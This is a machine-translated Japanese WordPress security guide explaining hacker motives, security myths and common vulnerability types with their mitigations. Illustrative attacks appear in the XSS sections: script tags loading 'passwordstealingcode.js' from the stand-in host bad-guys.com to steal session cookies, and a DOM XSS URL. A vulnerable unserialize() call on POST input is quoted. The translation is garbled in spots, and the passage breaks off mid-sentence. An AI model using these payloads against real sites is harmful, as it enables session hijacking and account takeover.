WordPressセキュリティ:究極のガイド
公開: 2021-03-24WordPressのセキュリティは恐ろしいものになる可能性がありますが、そうである必要はありません。 このWordPressセキュリティの包括的なガイドでは、WordPress Webサイトを保護するための基本を簡略化して、技術者以外の人がWebサイトを理解し、ハッカーの攻撃から保護できるようにしています。
このWordPressセキュリティガイドは、簡単に消化できる10のセクションに分かれています。 各セクションでは、WordPressのセキュリティの特定の側面について説明します。 ガイドの終わりまでに、さまざまな種類の脆弱性、ハッカーの動機、サーバーからWordPressWebサイトの個々のユーザーまですべてを保護する方法を学びます。
飛び込みましょう!
セクション1:WordPressは安全ですか?
WordPressは安全ですか? 簡単な答えはイエスです。
WordPressは、インターネット上のすべてのWebサイトの約40%に電力を供給しています。 WordPressが人気を博している主な理由は、ブログから大規模なeコマースウェブショップまで、あらゆるものを構築するために使用できる非常に安全なプラットフォームであるためです。WordPressにはセキュリティの問題がありますか?
WordPress自体は安全ですが、WordPressのセキュリティミスを回避するには、サイト所有者の少しの努力が必要です。 真実は、WordPressの最大のセキュリティ問題はそのユーザーであるということです。 プラットフォームでのほとんどのWordPressハッキングは、サイト所有者の少しの努力で回避できます。
心配しないでください、私たちはあなたをカバーしました。 このガイドでは、Webサイトを安全に保つために知っておく必要のあるすべてのことを説明します。
Webサイトを保護する前に、まず5つのことを理解する必要があります。
- ハッカーがWebサイトを攻撃する理由
- さまざまな種類のWordPressハック
- 特定の種類のWordPressの脆弱性
- WordPressの脆弱性を防ぐ方法
- 脆弱性の重大度を判断する方法
ハッカーが私のウェブサイトを攻撃するのはなぜですか?
これは、最悪の悪夢が現実になり始めたときに尋ねる可能性のある、WordPressのセキュリティに関する一般的な質問です。 ハッカーが私のウェブサイトを攻撃するのはなぜですか? 攻撃が個人的なものになる可能性はほとんどありませんので、ご安心ください。 ハッカーには、Webサイトのコンテンツとは関係のない根本的な動機があります。 ハッカーは通常、あなたのWebサイトがホームレスの子犬のためのチャリティーページであるか、たくさんのクールな商品が販売されているサイトであるかを気にしません。
ただし、顔の見えないIDがWebサイトにハッキングされ、混乱と混乱を引き起こしている場合、標的にされていると感じないようにするのは困難です。 あなたはストレスを感じ、状況があなたのコントロールから外れているように感じます。 あなたは個人的に攻撃されていると感じ、攻撃の発生を阻止する方法があったかどうか疑問に思います。 あなたはあなたのウェブサイトであった残骸を救う何かがあるかどうかさえ疑問に思うかもしれません。
では、ハッカーがWebサイトを標的にする理由は何でしょうか。 それはあなたのウェブサイト、それがカバーするトピックなどとは何の関係もありません。 実際には、ハッカーはWebサイトが稼働し続けるために使用するソフトウェアを標的にします。 このソフトウェアをハッキングすることで、顧客の機密データを盗んだり、WordPressWebサイトを制御したりすることができます。
残念ながら、人気が高まるにつれ、WordPressはハッカーの標的にもなっています。 人気のあるWordPressプラグインに深刻な脆弱性がある場合、ハッカーは、数百万とまではいかなくても、数十万を超えるWebサイトを取得するための青写真を持っている可能性があります。 幸いなことに、ほとんどのプラグインの脆弱性は、開発者によってすぐにパッチが適用されます。
ハッカーは機密情報や個人情報を入手できるため、収入を得るためにそれを販売したり、データの身代金を保持したりすることができます。
それで、ハッカーの主な動機は何ですか?
自分たちのためにキャッシュフローを生み出すこと。
インターネットは、すべての人生の歩みに生活賃金を生み出す機会を提供する儲かる場所です。 しかし、それは誰もが合法で道徳的な方法でこれを行うという意味ではありません。 ハッカーは、最小のWebサイトからでも高い利益を上げています。
お金は彼らが必要とするすべての動機ですが、ウェブサイトの侵害に成功したときに得られる力の感覚を楽しむ人もいますが、大多数は現金のためだけにビジネスを行っています。
セクション2:WordPressのセキュリティに関する神話のトップ5
このWordPressセキュリティガイドの残りの部分に飛び込む前に、WordPressセキュリティの神話を暴くために少し時間を取ってみましょう。
あなたは本当に助けたいと思っている善意の人々からインターネットの周りに浮かんでいるたくさんのWordPressセキュリティアドバイスを見つけるでしょう。 残念ながら、このアドバイスの一部はWordPressのセキュリティ神話に基づいており、実際にはWordPressWebサイトにセキュリティを追加するものではありません。 実際、WordPressのセキュリティに関する「ヒント」によっては、問題や競合が発生する可能性が高くなる場合があります。
WordPressのセキュリティに関する神話はたくさんありますが、ここでは、30,000を超えるサポートチケットで一貫して見られる上位5つにのみ焦点を当てます。 お客様とのこれらの会話は、WordPressのセキュリティに関する神話のトップを選択するための次の基準の基礎として使用されました。
- 神話が言及された頻度。
- 神話が引き起こした頭痛の数。
- 神話が与える誤った安心感。
1. / wp-adminまたは/ wp-loginのURLを非表示にする必要があります(バックエンドの非表示とも呼ばれます)
wp-adminを非表示にする背後にある考え方は、ハッカーは見つけられないものをハッキングできないということです。 ログインURLが標準のWordPress / wp-admin / URLでない場合、ブルートフォース攻撃から保護されていませんか?
真実は、ほとんどのHide Backend機能は、隠すことによるセキュリティであり、防弾のWordPressセキュリティ戦略ではありません。 バックエンドのwp-adminURLを非表示にすると、ログインに対する攻撃の一部を軽減できますが、このアプローチではすべての攻撃を阻止することはできません。
ログインを非表示にしたときにiThemesSecurity Proが無効なログイン試行を報告する方法に困惑している人々から、サポートチケットを頻繁に受け取ります。 これは、XML-RPCやREST APIを使用するなど、ブラウザーを使用する以外にWordPressサイトにログインする方法が他にもあるためです。 ログインURLを変更した後も、別のプラグインまたはテーマが新しいURLにリンクする可能性があることは言うまでもありません。
実際、バックエンドの非表示機能は実際には何も変更しません。 はい、ほとんどのユーザーがデフォルトのログインURLに直接アクセスすることはできません。 ただし、誰かがカスタムログインURLを入力すると、デフォルトのWordPressログインURLにリダイレクトされます。
ログインURLをカスタマイズすると、競合が発生することも知られています。 wp-login.phpをコードベースにハードコーディングするプラグイン、テーマ、またはサードパーティのアプリがいくつかあります。 したがって、ハードコードされたソフトウェアがyoursite.com/wp-login.phpを検索すると、代わりにエラーが検出されます。
2.テーマ名とWordPressバージョン番号を非表示にする必要があります
ブラウザの開発ツールを使用すると、WordPressサイトで実行されているテーマ名とWordPressバージョン番号をすぐに確認できます。 テーマ名とWPバージョンを非表示にする背後にある理論は、攻撃者がこの情報を持っている場合、サイトに侵入するための青写真を持っているというものです。

たとえば、上のスクリーンショットを見ると、このサイトはTwenty Twenty-Oneを使用しており、WordPressのバージョンは5.6であることがわかります。
このWordPressのセキュリティ神話の問題は、攻撃するテーマとWordPressのバージョン番号の完璧な組み合わせを探しているキーボードの後ろに実際の人がいないことです。 ただし、Webサイトで実行されている実際のコードの既知の脆弱性を探してインターネットを検索する無知なボットが存在するため、テーマ名とWPバージョン番号を非表示にしても保護されません。
3.wp-contentディレクトリの名前を変更する必要があります
wp-contentディレクトリには、プラグイン、テーマ、およびメディアアップロードフォルダが含まれています。 これは、すべて1つのディレクトリにある大量の優れたコードと実行可能コードであるため、人々がこのフォルダを積極的に保護したいと望んでいることは理解できます。
残念ながら、wp-content名を変更すると、サイトにセキュリティの層が追加されるというのはWordPressのセキュリティ神話です。 そうではありません。 ブラウザ開発ツールを使用して、変更したwp-contentディレクトリの名前を簡単に見つけることができます。 以下のスクリーンショットでは、このサイトのコンテンツディレクトリの名前を/ test /に変更したことがわかります。

ディレクトリの名前を変更してもサイトにセキュリティは追加されませんが、/ wp-content /ディレクトリパスがハードコードされているプラグインで競合が発生する可能性があります。
4.私のウェブサイトはハッカーから注意を引くのに十分な大きさではありません
このWordPressのセキュリティ神話は、多くのサイトを攻撃に対して脆弱なままにします。 あなたがトラフィックの少ない小さなサイトの所有者であるとしても、あなたがあなたのウェブサイトを保護することに積極的であることが依然として重要です。
あなたがトラフィックの少ない小さなサイトの所有者であるとしても、あなたがあなたのウェブサイトを保護することに積極的であることが依然として重要です。
真実は、攻撃者になる可能性のある人の注意を引くために、サイトやビジネスが大きくなくてもよいということです。 ハッカーは、訪問者の一部を悪意のあるサイトにリダイレクトしたり、メールサーバーからスパムを送信したり、ウイルスを拡散したり、ビットコインをマイニングしたりするための導管としてサイトを使用する機会を依然として見ています。 彼らは彼らが得ることができるものは何でも取るでしょう。
5.WordPressは安全でないプラットフォームです
最も有害なWordPressのセキュリティ神話は、WordPress自体が安全ではないというものです。 これは単に真実ではありません。 WordPressは世界で最も人気のあるコンテンツ管理システムであり、セキュリティを真剣に受け止めないことでそのようにはなりませんでした。
セクション3:WordPressのハックとWordPressの脆弱性
4種類のWordPressハック
WordPressのセキュリティを理解することになると、理解することが重要です
1.SEOスパム
ハッカーがあなたのウェブサイトを攻撃するもう一つの動機は、SEOスパムの恩恵を受けることです。 SEO、または検索エンジン最適化は、検索エンジンがWebサイトのインデックス作成またはランク付けに使用するものです。 あなたのウェブページとブログ投稿に戦略的に配置された特定のキーワードを使用することによって、あなたはあなたのウェブサイトがグーグル検索でより高くランク付けされるのを助けることができます。 これはあなたのウェブサイトへのトラフィックを促進し、あなたがあなたの時間の価値がある利益を上げるのを助けることができます。
ハッカーはSEOについてすべて知っており、SEOを有利に利用しています。 あなたのウェブサイトが危険にさらされると、ハッカーはあなたのウェブサイトにバックドアをインストールします。 これにより、キーワードやWebサイトのコンテンツをリモートで制御できます。 彼らはしばしばあなたのウェブサイトからのトラフィックをリダイレクトし、それを彼らのウェブサイトに直接送り込み、あなたのウェブサイトを完全に通過させます。
これはあなたのターゲットオーディエンスを混乱させて欲求不満のままにし、あなたのウェブサイトの評判と信頼性を破壊します。 あなたのウェブサイトの訪問者は明らかに詐欺であるサイトにリダイレクトされることが多く、彼らは将来あなたのウェブサイトを再訪することを躊躇するでしょう。
それが十分に悪くなかったかのように、このアプローチを使用するハッカーはあなたのウェブサイトを仲間の人間だけでなく検索エンジンにとっても見栄えが悪くします。 あなたのウェブサイトはもはや合法的に見えなくなり、そのランキングはすぐに急落します。 検索でのランキングが高くなければ、あなたのサイトは月に数回以上ヒットすることのない数百万のサイトの1つになります。
2.マルウェアの注入
多くのハッカーがあなたのウェブサイトを攻撃し、マルウェアに感染させようとしています。 マルウェアは、Webサイトに悪意のある変更を加えるために使用される可能性のある小さなコードです。 サイトがマルウェアに感染した場合は、できるだけ早くアラートを受け取ることが重要です。
マルウェアがWebサイトに残ると、毎分、Webサイトにさらに大きなダメージを与えます。 あなたのウェブサイトに与えられるダメージが多ければ多いほど、あなたのウェブサイトをきれいにして復元するのに時間がかかります。 マルウェアを定期的にスキャンして、Webサイトの状態を確認することが重要です。 これが、マルウェアをスキャンしてWebサイトの状態を継続的にチェックすることが重要である理由です。
3.ランサムウェア
ハッカーはあなたのウェブサイトを攻撃して身代金を要求するかもしれません。 ランサムウェアとは、ハッカーがWebサイトを乗っ取ったときに、高額の料金を支払わない限り、Webサイトをリリースしないことを指します。 ランサムウェア攻撃の平均ダウンタイムは9。5日です。 10日間の販売なしの費用はどのくらいの収入になりますか?
ハッカーが要求している平均身代金は、2015年の294ドルから2020年には13,000ドルをはるかに超えるまで、劇的に上昇しています。このような支払いにより、オンライン犯罪ビジネスは減速していません。 このような犯罪コミュニティが成長するにつれて、Webサイトを適切に保護および保護することがますます重要になっています。
4.ウェブサイトの改ざん
一部のハッカーは、ちょっとした楽しみのためにあなたのWebサイトを攻撃するかもしれません。 本質的に悪ではないハッキングスタイルは、Webサイト改ざん者のスタイルです。 これらは通常、ハッキングスキルを試し始めたばかりの子供や若い大人です。 彼らは、スキルを練習して向上させる方法として、このようなハックを行います。
Webサイトが改ざんされていると話すときは、落書きについて考えてください。 攻撃者は、時には面白くて奇抜な方法で、Webサイトの外観を完全に変更します。 典型的なウェブサイト改ざん者は、楽しみのために、または自慢する方法として彼らの行為を行っています。 彼らはしばしば彼らの悪行の写真を投稿し、最高の改ざんの賞を勝ち取るためにお互いをつなぎ合わせようとします。
幸いなことに、この形式のハッキングは、経験するのにそれほど危険ではありません。 さらに、改ざんを実行しているのは主に10代や他のアマチュアハッカーであるため、他の形式のマルウェアと比較すると、Webサイトからの検出と削除が簡単です。 これらは通常、スキャナーで検出してすばやく削除できます。
21の一般的なWordPressの脆弱性の説明
残念ながら、WordPressの脆弱性が存在します。 WordPressの脆弱性は、プラグイン、テーマ、さらにはWordPressコアにも存在する可能性があります。 また、WordPressは現在すべてのWebサイトのほぼ40%に電力を供給しているため、脆弱性を理解するタスクはさらに重要です。 簡単に言えば、Webサイトのセキュリティに注意する必要があります。
WordPressのセキュリティの専門家でない場合は、WordPressのさまざまな脆弱性をすべて理解するのは困難な場合があります。 また、WordPressの脆弱性のリスクとともに、脆弱性のさまざまなレベルの重大度を理解しようとするのは大変なことかもしれません。
このガイドでは、最も一般的な21のWordPress脆弱性を定義し、WordPress脆弱性の重大度をスコアリングする方法をカバーし、ハッカーが脆弱性を悪用する方法の例を示し、これらの脆弱性を防ぐ方法を示します。 に飛び込みましょう。
WordPressの脆弱性とは何ですか?
WordPressの脆弱性は、ハッカーが悪用できるテーマ、プラグイン、またはWordPressコアの弱点または欠陥です。 言い換えれば、WordPressの脆弱性は、ハッカーが悪意のある活動を実行するために使用できるエントリポイントを作成します。
ウェブサイトのハッキングはほとんどすべて自動化されていることに注意してください。 このため、ハッカーは事実上短時間で多数のWebサイトに簡単に侵入できます。 ハッカーは、インターネットをスキャンする特別なツールを使用して、既知の脆弱性を探します。
ハッカーは簡単な標的が好きで、既知の脆弱性を持つソフトウェアを実行しているWebサイトを持つことは、WordPress Webサイト、サーバー、コンピューター、またはその他のインターネット接続デバイスに侵入するためのステップバイステップの指示をハッカーに渡すようなものです。
毎月のWordPress脆弱性ラウンドアップレポートは、公開されているすべてのWordPressコア、WordPressプラグイン、およびテーマの脆弱性を対象としています。 これらのまとめでは、脆弱なプラグインまたはテーマの名前、影響を受けるバージョン、および脆弱性のタイプを共有します。
ゼロデイ脆弱性とは何ですか?
ゼロデイ脆弱性は、開発者が脆弱性のパッチをリリースする前に公開された脆弱性です。WordPressのセキュリティに関しては、ゼロデイ脆弱性の定義を理解することが重要です。 脆弱性は一般に公開されているため、開発者は脆弱性にパッチを適用するためのゼロデイ攻撃があります。 そして、これはプラグインやテーマに大きな影響を与える可能性があります。
通常、セキュリティ研究者は脆弱性を発見し、ソフトウェアを所有する会社の開発者に脆弱性を非公開で開示します。 セキュリティ研究者と開発者は、パッチが利用可能になったら完全な詳細が公開されることに同意します。 パッチがリリースされた後、主要なセキュリティの脆弱性を更新する時間を増やすために、脆弱性の開示がわずかに遅れる場合があります。
ただし、開発者がセキュリティ研究者に応答しない場合、または脆弱性のパッチを提供しない場合、研究者は脆弱性を公開して、開発者にパッチを発行するよう圧力をかけることができます。
脆弱性を公に開示し、ゼロデイを導入しているように見えると、逆効果に見える場合があります。 しかし、それは、研究者が開発者に脆弱性にパッチを当てるように圧力をかけなければならない唯一の手段です。
GoogleのProjectZeroには、脆弱性の開示に関して同様のガイドラインがあります。 彼らは90日後に脆弱性の完全な詳細を公開します。 脆弱性にパッチが適用されているかどうか。
脆弱性は誰でも見つけることができます。 開発者がパッチをリリースする前にハッカーが脆弱性を発見した場合、それはエンドユーザーにとって最悪の悪夢になります…。 積極的に悪用されたゼロデイ。
積極的に悪用されたゼロデイ脆弱性とは何ですか?
積極的に悪用されたゼロデイ脆弱性は、まさにそのように聞こえます。 これは、ハッカーが標的にし、攻撃し、積極的に悪用している、パッチが適用されていない脆弱性です。
2018年の終わりに、ハッカーはWPGDPRコンプライアンスプラグインの深刻なWordPressの脆弱性を積極的に悪用していました。 このエクスプロイトにより、権限のないユーザー(これについては次のセクションで詳しく説明します)がWPユーザー登録設定を変更し、デフォルトの新しいユーザーロールをサブスクライバーから管理者に変更することができました。
これらのハッカーは、WPGDPRコンプライアンスプラグインとセキュリティ研究者の前にこの脆弱性を発見しました。 したがって、プラグインがインストールされているWebサイトは、サイバー犯罪者にとって簡単で保証されたマークでした。
ゼロデイ脆弱性から身を守る方法
ゼロデイ脆弱性からWebサイトを保護する最善の方法は、脆弱性にパッチが適用されるまでソフトウェアを非アクティブ化して削除することです。 ありがたいことに、WP GDPRコンプライアンスプラグインの開発者は迅速に行動し、公開された翌日に脆弱性のパッチをリリースしました。
パッチが適用されていない脆弱性により、Webサイトはハッカーの標的になりやすくなります。
認証されていないWordPressの脆弱性と認証されたWordPressの脆弱性
WordPressの脆弱性について話すときに知っておく必要のある用語がさらに2つあります。
- 認証されていない–認証されていないWordPressの脆弱性は、誰でもこの脆弱性を悪用できることを意味します。
- 認証済み–認証済みのWordPressの脆弱性は、ログインしたユーザーが悪用する必要があることを意味します。
認証されたユーザーを必要とする脆弱性は、特に管理者レベルの特権を必要とする場合、ハッカーが悪用するのがはるかに困難です。 また、ハッカーがすでに一連の管理者資格情報を入手している場合は、脆弱性を悪用して大混乱を引き起こす必要はありません。
注意点が1つあります。 一部の認証済みの脆弱性は、悪用するためにサブスクライバーレベルの機能のみを必要とします。 Webサイトで誰でも登録できる場合、これと認証されていない脆弱性の間に大きな違いはありません。
WordPressの脆弱性に関しては、21の一般的なタイプの脆弱性があります。 これらのWordPressの脆弱性タイプのそれぞれについて説明しましょう。
1.認証バイパス
認証バイパスの脆弱性により、攻撃者は認証要件をスキップして、通常は認証されたユーザー用に予約されているタスクを実行できます。
認証は、ユーザーのIDを確認するプロセスです。 WordPressでは、ユーザーが本人確認を行うためにユーザー名とパスワードを入力する必要があります。
認証バイパスの例
アプリケーションは、固定されたパラメーターのセットに基づいて認証を検証します。 攻撃者はこれらのパラメータを変更して、通常は認証を必要とするWebページにアクセスする可能性があります。
このようなものの非常に基本的な例は、URLの認証パラメーターです。
https:/my-website/some-plugint?param=authenticated¶m=no
上記のURLには、値がnoの認証パラメーターがあります。 そのため、このページにアクセスすると、このページの情報を表示する権限がないことを通知するメッセージが表示されます。

ただし、認証チェックのコーディングが不十分な場合、攻撃者は認証パラメータを変更してプライベートページにアクセスする可能性があります。
https:/my-website/some-plugint?param=authenticated¶m=yes
この例では、ハッカーはURLの認証値をyesに変更して、ページを表示するための認証要件をバイパスすることができます。

認証バイパス防止を防止する方法
2要素認証を使用すると、認証の脆弱性からWebサイトを保護できます。
2.バックドアの脆弱性
バックドアの脆弱性により、許可されたユーザーと許可されていないユーザーの両方が通常のWordPressセキュリティ対策をバイパスし、コンピューター、サーバー、Webサイト、またはアプリケーションへの高レベルのアクセスを取得できます。
バックドアの例
開発者はバックドアを作成して、管理者ユーザーとしてコーディングとコードのテストをすばやく切り替えることができます。 残念ながら、開発者はソフトウェアが一般にリリースされる前にバックドアを削除するのを忘れています。
ハッカーがバックドアを見つけた場合、エントリポイントを悪用して、ソフトウェアへの管理者アクセスを取得できます。 ハッカーは管理者アクセス権を持っているので、マルウェアの注入や機密データの盗用など、あらゆる種類の悪意のあることを行うことができます。
バックドアを防ぐ方法
多くのバックドアは、セキュリティの設定ミスという1つの問題に要約できます。 WordPressのセキュリティ設定ミスの問題は、コード内の未使用の機能を削除し、すべてのライブラリを最新の状態に保ち、エラーメッセージをより一般的にすることで軽減できます。
3.PHPオブジェクト注入の脆弱性
PHP Object-Injectionの脆弱性は、ユーザーがunserialized()
PHP関数に渡される前に、 unserialized()
されていない(つまり、不正な文字が削除されていない)入力を送信すると発生します。
PHPオブジェクト注入の例
これは、sumofpwnによって最初に報告されたSample Ads ManagerWordPressプラグインのPHPObject-Injectionの脆弱性の実際の例です。
この問題は、プラグインsam-ajax-loader.php
ファイルのunserialize()への2つの安全でない呼び出しが原因です。 以下のコードに示されているように、入力はPOSTリクエストから直接取得されます。
if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;
この問題により、攻撃者が悪意のあるコードを入力して実行する可能性があります。
PHPオブジェクトの注入を防ぐ方法
ユーザー指定の入力でunserialize()
関数を使用せず、代わりにJSON関数を使用してください。
4.クロスサイトスクリプティングの脆弱性
XSSまたはクロスサイトスクリプティングの脆弱性は、WebアプリケーションでユーザーがURLパスにカスタムコードを追加できる場合に発生します。 攻撃者はこの脆弱性を悪用して、被害者のWebブラウザで悪意のあるコードを実行したり、悪意のあるWebサイトへのリダイレクトを作成したり、ユーザーセッションを乗っ取ったりする可能性があります。
XSSには主に3つのタイプがあります。 保存され、DOMベース
5.反映されたクロスサイトスクリプティングの脆弱性
リフレクトXSSまたはリフレクトクロスサイトスクリプティングは、悪意のあるスクリプトがクライアント要求(ブラウザーでユーザーが行った要求)でサーバーに送信され、サーバーによって反映されてブラウザーによって実行されるときに発生します。
反映されたクロスサイトスクリプティングの例
yourfavesite.com
で、Webサイトのコンテンツの一部を表示するには、ログインする必要があるとします。 そして、このWebサイトがユーザー入力を適切にエンコードできないとしましょう。
攻撃者は、悪意のあるリンクを作成し、それをyourfavesite.com
ユーザーと電子メールやソーシャルメディアの投稿で共有することにより、この脆弱性を利用する可能性があります。
攻撃者はURL短縮ツールを使用して、悪意のあるリンクを脅威ではなく、非常にクリックしyourfavesite.com/cool-stuff
ますyourfavesite.com/cool-stuff
- yourfavesite.com/cool-stuff
。 ただし、短縮リンクをクリックすると、完全なリンクがブラウザによって実行されますyourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js
。
リンクをクリックすると、 yourfavesite.com
に移動し、悪意のあるスクリプトがブラウザに反映され、攻撃者がセッションCookieとyourfavesite.com
アカウントを乗っ取ることができます。
反映されたクロスサイトスクリプティングを防ぐ方法
OWASPクロススクリプト防止チートシートのルール#5は、信頼できないデータをHTMLURLパラメーター値に挿入する前のURLエンコードです。 このルールは、信頼できないデータをHTTP GETパラメーター値に追加するときに、反映されたXSSの脆弱性が作成されるのを防ぐのに役立ちます。
<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >
6.保存されたクロスサイトスクリプティングの脆弱性
StoredXSSまたはStoredCross-Site Scriptingの脆弱性により、ハッカーは悪意のあるコードをWebアプリケーションのサーバーに挿入して保存することができます。
保存されたクロスサイトスクリプティングの例
攻撃者は、 yourfavesite.com
が訪問者にサイトのコメントセクションにHTMLタグを埋め込むことを許可していることを発見しyourfavesite.com
。 したがって、攻撃者は新しいコメントを作成します。
素晴らしい記事です! この他の関連するすばらしい<script src=”http://bad-guys.com/passwordstealingcode.js>
記事をチェックしてください。 </script>
悪意のあるユーザーがコメントを追加したので、このページの今後のすべての訪問者は、悪意のあるスクリプトにさらされます。 スクリプトは悪者のWebサイトでホストされており、訪問者のセッションCookieとyourfavesite.com
アカウントをyourfavesite.com
ます。
保存されたクロスサイトスクリプティングを防ぐ方法
OWASPクロススクリプト防止チートシートのルール#1は、信頼できないデータをHTML要素に追加する前のHTMLエンコードです。
<body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
<div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>
スクリプト、スタイル、イベントハンドラーなどの実行コンテキストに切り替わらないように、次の文字をエンコードします。 仕様では、16進エンティティの使用が推奨されています。
& --> & < --> < > --> > " --> " ' --> '
7.ドキュメントオブジェクトモデルベースのクロスサイトスクリプティングの脆弱性
DOMベースのXSSまたはドキュメントオブジェクトモデルベースのクロスサイトスクリプティングの脆弱性は、Webサイトのクライアント側スクリプトがユーザー提供のデータをドキュメントオブジェクトモデル(DOM)に書き込むときに発生します。 次に、WebサイトはDOMからユーザーの日付を読み取り、それを訪問者のWebブラウザーに出力します。
ユーザーが提供したデータが適切に処理されない場合、攻撃者はWebサイトがDOMからコードを読み取るときに実行される悪意のあるコードを挿入する可能性があります。
ドキュメントオブジェクトモデルベースのクロスサイトスクリプティングの例
DOM XSS攻撃を説明する一般的な方法は、カスタムウェルカムページです。 アカウントを作成した後、 yourfavesite.com
が、以下のコードを使用して名前で歓迎するようにカスタマイズされたウェルカムページにリダイレクトされたとします。 そして、ユーザー名はURLにエンコードされます。
<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>
したがって、URLはyourfavesite.com/account?name=yourname
ます。
攻撃者は、次のURLを新しいユーザーに送信することにより、DOMベースのXSS攻撃を実行する可能性があります。
http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>
新しいユーザーがリンクをクリックすると、ブラウザは次のリクエストを送信します。
/account?name=<script>alert(document.cookie)</script>
bad-guys.com
。 Webサイトは、上記のJavascriptコードを含むページで応答します。
新しいユーザーのブラウザは、ページのDOMオブジェクトを作成します。このオブジェクトには、 document.location
オブジェクトに次の文字列が含まれています。
http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>
ページの元のコードは、デフォルトのパラメーターにHTMLマークアップが含まれていることを想定しておらず、マークアップをページにエコーします。 次に、新しいユーザーのブラウザがページをレンダリングし、攻撃者のスクリプトを実行します。
alert(document.cookie)
DOMベースのクロスサイトスクリプティングを防ぐ方法
OWASP Domベースのクロスサイトスクリプティング防止に関するチートシートのルール#1は、HTMLエスケープです。 次に、JSは、実行コンテキスト内のHTMLサブコンテキストに信頼できないデータを追加する前にエスケープします。
危険なHTMLメソッドの例:
属性
element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";
メソッド
document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");
DOMセーフでHTMLを動的に更新するために、OWASPでは次のことをお勧めします。
- HTMLエンコーディング、そして
- 次の例に示すように、すべての信頼できない入力をエンコードするJavaScript:
element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");
8.クロスサイトリクエストフォージェリの脆弱性
CSRFまたはクロスサイトリクエストフォージェリの脆弱性は、サイバー犯罪者がユーザーをだまして意図しないアクションを実行させた場合に発生します。 攻撃者は、アプリケーションに対するユーザーの要求を偽造します。
クロスサイトリクエストフォージェリの例
2020年1月のWordPressVulnerability Roundupで、CodeSnippetsプラグインにあるクロスサイトリクエストフォージェリの脆弱性について報告しました。 (プラグインはバージョン2.14.0ですぐにパッチが適用されました)
プラグインにはCRSF保護がないため、誰でも管理者に代わってリクエストを偽造し、脆弱なサイトに実行可能コードを挿入することができました。 攻撃者はこの脆弱性を利用して悪意のあるコードを実行し、サイトを完全に乗っ取る可能性さえあります。
クロスサイトリクエストフォージェリを防ぐ方法
ほとんどのコーディングフレームワークには、CSRFから保護するための同期トークン防御が組み込まれているため、それらを使用する必要があります。
PHPおよびApacheCSRFの脆弱性を保護するために使用できるCSRFプロテクタープロジェクトのような外部コンポーネントもあります。
9.サーバー側のリクエストの偽造の脆弱性
SSRFまたはServer- SiteRequest Forgerの脆弱性により、攻撃者はサーバー側のアプリケーションをだまして、選択した任意のドメインにHTTP要求を送信することができます。
サーバー側のリクエスト偽造の例
SSRFの脆弱性を悪用して、リフレクトクロスサイトスクリプティング攻撃を阻止する可能性があります。 攻撃者はbad-guys.comから悪意のあるスクリプトをフェッチし、それをWebサイトのすべての訪問者に提供する可能性があります。
サーバー側のリクエストの偽造を防ぐ方法
SSRFの脆弱性を軽減するための最初のステップは、入力を検証することです。 たとえば、サーバーがユーザー指定のURLに依存してさまざまなファイルをフェッチする場合は、URLを検証し、信頼できるターゲットホストのみを許可する必要があります。
SSRF防止の詳細については、OWASPチートシートを確認してください。
10.特権昇格の脆弱性
特権昇格の脆弱性により、攻撃者は通常はより高いレベルの特権を必要とするタスクを実行できます。
特権昇格の例
2020年11月のWordPressVulnerability Roundupで、Ultimate Memberプラグインで見つかった特権昇格の脆弱性について報告しました(この脆弱性はバージョン2.1.12でパッチが適用されました)。
攻撃者は、ユーザーの役割を定義するwp_capabilities
ユーザーメタの配列パラメーターを提供する可能性があります。 登録プロセス中に、送信された登録の詳細がupdate_profile
関数に渡され、送信されたものに関係なく、送信されたそれぞれのメタデータは、その新しく登録されたユーザーに対して更新されます。
この脆弱性により、基本的に、新規ユーザーは登録時に管理者を要求できました。
特権の昇格を防ぐ方法
iThemes Security Proは、信頼できるデバイスのリストへの管理者アクセスを制限することにより、アクセス制御の破損からWebサイトを保護するのに役立ちます。
11.リモートコード実行の脆弱性
RCEまたはリモートコード実行の脆弱性により、攻撃者はコンピュータやサーバーにアクセスして変更を加えたり、乗っ取ったりすることができます。
リモートコード実行の例
2018年、MicrosoftはExcelで見つかったリモートコード実行の脆弱性を公開しました。
攻撃者がこの脆弱性を悪用した場合、現在のユーザーのコンテキストで任意のコードが実行される可能性があります。 現在のユーザーが管理ユーザー権限でログオンしている場合、攻撃者が影響を受けるシステムを制御する可能性があります。 その後、攻撃者はプログラムをインストールする可能性があります。 データを表示、変更、または削除する。 または、完全なユーザー権限で新しいアカウントを作成します。 システムでのユーザー権限が少なくなるようにアカウントが構成されているユーザーは、管理ユーザー権限で操作するユーザーよりも影響が少ない可能性があります。
リモートコード実行を防止する方法
RCEの脆弱性を軽減する最も簡単な方法は、不要な文字をフィルタリングして削除することにより、ユーザー入力を検証することです。
親会社のLiquidWebには、リモートでコードが実行されないようにするためのすばらしい記事があります。
14.ファイルインクルードの脆弱性
Webアプリケーションは、ユーザーがサーバーにファイルをファイルに入力を提出またはアップロードすることができたときに、ファイルインクルージョンの脆弱性が発生します。
ファイルインクルードの脆弱性には、ローカルとリモートの2種類があります。
15.ローカルファイルインクルードの脆弱性
LFIまたはローカルファイルインクルードの脆弱性により、攻撃者はWebサイトのサーバー上のファイルを読み取り、場合によっては実行することができます。
ローカルファイルインクルードの例
yourfavesite.com
をもう一度見てみましょう。ここでinclude
ステートメントをinclude
